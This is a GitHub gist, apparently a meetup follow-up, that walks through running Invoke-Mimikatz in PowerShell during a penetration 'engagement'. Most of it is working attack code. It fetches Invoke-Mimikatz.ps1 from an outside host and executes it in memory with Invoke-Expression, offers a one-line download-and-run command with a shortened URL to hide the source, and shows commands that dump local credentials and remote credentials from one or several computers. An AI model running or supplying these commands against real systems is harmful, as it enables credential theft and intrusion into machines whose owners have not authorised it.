Skip to content

Instantly share code, notes, and snippets.

@jaredhaight
Last active January 31, 2016 18:11
Show Gist options
  • Save jaredhaight/ca083038700902dbd9e2 to your computer and use it in GitHub Desktop.
Save jaredhaight/ca083038700902dbd9e2 to your computer and use it in GitHub Desktop.
At that last Charlotte Hackers (http://www.charlottehackers.com) I was asked about how to use invoke-mimkatz on an engagement. This is a brief howto.
# This is broken out bit by bit to show whats going on
# Here we point to the url for the raw ps1 file for invoke-mimikatz
$mkatz_ps1_url = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"
# Here we call the .NET framework to create a webclient object and download
# the raw file from the url, assigning the contents of the file to the
# $mkatz_dl var.
$mkatz_dl = (New-Object Net.WebClient).DownloadString($mkatz_ps1_url)
# because we are breaking this up, we need to wait for the download
# to finish before continuing
Start-Sleep 3
# We call invoke-expression to run the downloaded powershell
Invoke-Expression $mkatz_dl
##########################################################################
#
# You can achieve the same thing as above with the following one-liner
# iex - built in powershell alias for invoke-expression
# $shortened_url - use the url shortener of your choice
#
# PS> iex (New-Object Net.WebClient).DownloadString($shortened_url)
#
##########################################################################
# Now you have mimikatz in your session and you're able to use it (assuming
# you have admin rights)
#
# Get examples of usage:
get-help Invoke-Mimikatz -Examples
# dump local creds (default behavior)
Invoke-Mimikatz
# dump remote creds
Invoke-Mimikatz -ComputerName "computer1"
# dump remote creds from multiple computers by passing an array
Invoke-Mimikatz -ComputerName @("computer1", "computer2")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment